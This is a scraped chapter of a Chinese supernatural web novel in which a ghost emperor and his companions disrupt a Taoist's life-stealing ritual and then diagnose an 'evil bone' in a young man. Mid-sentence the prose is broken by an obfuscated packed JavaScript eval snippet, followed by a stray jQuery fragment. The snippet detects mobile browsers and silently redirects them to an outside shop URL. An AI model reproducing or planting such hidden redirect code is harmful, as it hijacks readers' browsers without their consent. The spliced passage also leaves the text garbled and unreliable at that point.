文趣网 > 其他小说 > 骨桥,阴契师 > 16. 招煞邪骨
    买完戒指后,萧景焱拉着沈清棠一头扎进金海市最大的小吃街。从街头吃到尾,两公里的一条街下来,他的嘴就没停过。

    “你不撑得慌?”唐沈越不可置信地盯着他吞下最后一根薯条。

    “你五百年不吃饭试试,朕已经很收敛了。”

    “是是是,很收敛了。也就……糯米饭、牛肉面、铁板炒饭、蛋包饭、炒粉炒面,等等……数十份主食;外加烤串、生蚝、烤鱿鱼、酸奶、水果捞,数不清的小吃甜点。”唐沈越掰着指头数了数说:“这还只是粗略估算,您老人家这一路吃我一个月的量。”

    她视线扫过后面正啃鸡腿的苏梦(鬼新娘),“还有你。夏夏,你要再吃下去,等你离开梦梦的身体后,她得吐到进医院。”

    鬼新娘闻言一愣,三两口囫囵吞下鸡腿上剩余的肉。

    “要不你是瘦猴呢。”萧景焱上下扫视一圈唐沈越说。

    “什么瘦猴,我这叫骨感美,你懂不懂什么叫骨感美。”唐沈越叉着她完美的漫画腰气愤不已。

    “你们管皮包骨叫骨感美,朕真心搞不懂。像我们阿棠这种盘儿亮、条儿顺,一把精瘦顺溜的筋骨那才是美。”

    “……”唐沈越转头上下一打量美的雌雄莫辨的母后大人,这话说的她确实无可争辩。

    小吃街的巷尾,灯光昏暗。

    “阿棠,有点渴,再来个冰激凌。”萧景焱指着不远处拐角的冰淇淋小摊说。

    “你已经吃了五个。”

    “都是不同口味的,再来一个,就一个,凑个六六大顺。”

    沈清棠无奈地叹了口气;“最后一个,你不能再吃东西了。”

    “嗯嗯,我保证是最后一个。”萧景焱和之前一样答应的很痛快。

    萧景焱吃完冰激凌,提议原路返回,遭到了沈清棠的严词拒绝。

    为避免他再往小吃店里钻,沈清棠专挑路灯昏暗的居民小胡同走。

    一行四人,穿梭在老旧小胡同里,穿过一条坑坑洼洼的、颇具年代感的老旧街区,然后拐进了一个死胡同,胡同最里面正对街道的朱红大门紧闭。

    突然——

    昏暗的路灯闪烁不停。

    紧接着,黑云遮月。

    沈清棠微眯起桃花眼,“有妖气,还有……诡阵!”

    “妖鬼大战。”唐沈越说。

    “你干嘛这么兴奋?”萧景焱瞅她一眼,“一般的姑娘听见妖和鬼,不应该是尖叫着跑开吗?”

    “我可不是一般姑娘,我是大幽朝长公主,肩负江山社稷、社会稳定。妖鬼出来害人,本公主就得管。”

    “公主先请。”沈清棠侧身后退半步,眉梢一撩。

    “不不不,还是父皇和母后先请。儿臣哪敢逾越,走在您二位前面。您先请!您先请!”唐沈越连忙后退一大步,弯腰抬手作请,动作夸张谄媚。

    沈清棠嘴角勾起,低低失笑一声。随后,抬手作剑指,指尖金光流转,凌空疾画出一个繁杂的符。同时,口中低声诵念:“日月无光,混元颠倒!”清冷的声音在寂静的夜空中格外清晰,“天纲所临,万阵开阡,破!”随着‘破’字尾音铮然炸开,他猛然一点已成的符咒,符咒瞬间拍向紧闭的朱红大门。

    下一瞬,大门敞开。

    门内诡异的一幕映入门外四人眼中。

    这是一栋再常见不过的三层自建房,院子不大,青石板的缝隙里长着些杂草。院长正中间的百年老槐树,枝叶遮天蔽日,将整个院子罩在一片阴凉的暗影里。树下的泥土黑乌,交错的根脉隆起暴露出地面,像一根根暴起的血管。

    槐树左侧用天然石块围了一个水池,几条沉入水底的锦鲤,好像被钉住了一动不动,只有鳃还在翕动,眼睛是浑浊的灰白色,瞳孔扩散。

    灰色长衫的普通中年老道周身黑气缠绕,一只手抓着条金光缚妖锁链,链条的另一端捆着一只浑身鲜血奋力挣扎的狸花猫;另一只手立掌对着一个粉衣男人,粉衣男人像是被某种神秘力量吸住一般,脚尖点地悬浮着,他神情痛苦,身体的生机在一点点消逝。不远处,还有一个年纪偏大的中年男人蜷缩在地,正痛苦呻吟。

    因有人闯入,阵法被中断,粉衣男人跌在地上大口喘气。

    “哥、苏大哥。”苏梦和唐沈越同时惊呼。

    粉衣男人是苏梦的大哥——苏霂。

    老道的生机转嫁阵被人破坏,阴鸷的目光扫向闯入者。

    沈清棠淡淡的看着他,声音一如既往地冷清:“生机转嫁阵。抢夺他人生机,为己续命,有违天道,是要遭天谴的。”

    老道微微眯眼,眼角堆起几道褶子,“你是什么人?”

    “收你的人。”萧景焱往前一跨,一甩额前的绿毛,十足的流氓派头。

    “哼,狂妄。”老道冷哼一声,甩掉手中的缚妖链,狸花猫的身体砸在地上,发出沉闷的撞击声,它抽搐了两下,金黄竖瞳盯着蜷缩在不远处的苏霂,血迹从它身下缓缓洇开。

    苏霂趴在地上,浑身疼得直发抖,他的指甲抠进地砖的缝隙,眼眶通红,俊秀的脸颊上被泪水浸湿。他往前爬,伸手去够前方不远处的缚妖锁链。

    老道化掌为刀,携阴气袭来。鬼新娘从苏梦身体里脱出,飞身上前撒出漫天红绸挡住他的攻击。

    “阿棠,这老东西交给我们,你去屋里坐着喝杯茶。”萧景焱活动活动筋骨,冲唐沈越招了招手:“来,闺女。”

    唐沈越闻言往前走两步,却被塞了满怀的茶叶水壶。

    “你出门还带这个?”

    “阿棠不喜欢外面的劣质茶。”

    萧景焱抬臂一揽唐沈越的肩膀,又说:“朕的这具肉身,辛苦长公主照顾一会。”

    话音刚落,一道灰雾裹着金光从他的身躯中射出,在半空中迅速凝聚成人形。金冠龙袍的幽帝,手持刚寻回的生前兵器——双节霸王枪。悬浮在半空中,抬起手腕,枪杆在手中一转,枪尖冒出一团灰雾裹起地上的三人一猫,将他们送进屋内。

    这边,唐沈越蓦地感到肩上一沉,那具高大的身体就顺着往下滑,她忙不迭伸手抱住:“卧槽,好重。他这一顿饭得吃了有三十斤。”

    室外黑云压顶,黑雾、金光碰撞,火花溅射,一连串的残影在空中碰撞、分离、再碰撞。

    室内,沈清棠端坐在窗下的案桌前,视线一直在院落中那一抹明黄身影上,直到唐沈越唤他说茶好了。他才恋恋不舍挪回视线,垂眸看向茶烟渺渺的玉青茶碗;修长匀净的指尖轻轻拨动碗盖,茶香顺着热气升起,他慢慢端

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758192|209011||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    起来,微微低头轻嗅茶香,清隽冷玉的脸上浮起赞赏之色,他低头啜饮一口,身体微微一顿,像是被勾起了某个久远的记忆,眉头不着痕迹地松开一瞬。

    “不错。”声音清淡却掩不住夸赞之意。

    唐沈越闻言,自信地一扬下巴,眼底浮起得意的璀光:“那当然,我妈可是开茶楼起家的,我从小耳濡目染,这点功夫算什么?闭着眼睛都能泡出个八九不离十。”

    两杯热茶落肚,四肢百骸都跟着松泛开来。沈清棠心满意足地搁下茶盏,转头看向刚缓过来的苏父,手指微顿;而后不着痕迹地将目光移到苏霂的身上。

    “你本是童子转世,体内应是自带辟邪灵气。但是,身上却多了一根邪骨。”

    “邪骨?”苏父怔怔的看着沈清棠。

    “这根邪骨在他还在胎中之时,便被人施法放进了体内。用以吸收他体内的灵气,待时机成熟之后,再用生机转嫁阵法,将他体内的灵气连同生机一同转移到施法者的身体里,供其吸收修炼。”

    沈清棠停顿一瞬,又说:“不过,邪骨同时会吸引邪祟,在邪祟的侵扰下,他应该活不到现在。”

    “是护身符。”苏霂缓过神来,接道:“当年妈妈怀我的时候,遇到外面那个邪修,他说我活不到成年,便送给妈妈一个护身符,要我贴身佩戴。”

    沈清棠一抬手:“拿来。”

    苏霂看了眼妹妹,在接受到对方肯定的示意时,方才从贴身内口袋里拿出护身符递过来。

    “不是它,这幅护身符早已失效。”沈清棠将护身符放到桌面往前一推。

    “不是它?可我从小带到大,从未出过事,就在三天前才发生了意外……”苏霂猛然顿住,不再往下说。

    “什么意外?”苏梦急忙问。

    苏霂三天前遇到些诡异的事情,被亲爹带到这里说是是救命驱邪的,没料到小命差一点就没了。

    刚才,又亲眼见到一只女鬼从妹妹的身体里撕裂而出。虽说是救了他们,可他依然心有余悸。此刻他后背渗出的那层冷汗还没消下去,呼吸里还带着劫后余生的颤抖。

    他不敢全然信任。

    谁知道眼前这个衣冠楚楚的青衣男人,会不会是另一场陷阱的开端?

    他下意识地抱紧怀里的狸花猫,目光警惕地打量着沈清棠,声音里带着戒备与疏离:“梦梦,这位是……什么人?”

    苏梦从他身后探出头来,扯了扯他的衣袖,语气轻快:“哥,你别紧张!这位是沈先生,他是专门抓鬼的阴差。他可厉害了,我亲眼见过的!”

    “苏大哥,外面那俩厉鬼,你瞧见没?都是沈先生收的小弟。”唐沈越一边围着沈清棠殷勤地斟茶倒水,一边接帮腔说:“穿龙袍的那个是五百年前大幽朝的皇帝,现在他是我的便宜父皇,你要是遇到了什么麻烦事,就说出来,他们一定会帮忙解决的。”

    沈清棠撩起眼皮看她一眼。

    唐沈越双手合掌作祈求状,弯腰在他耳边小声道:“拜托了母后,苏伯伯可是我最大的投资股东。”

    沈清棠指尖轻点茶盏,唐十二万分狗腿地斟满茶,双手拖起茶盏恭敬地递上来。

    苏霂转头望向门外与邪道打斗的两道鬼影,只觉得天旋地转、寒意直逼天灵盖。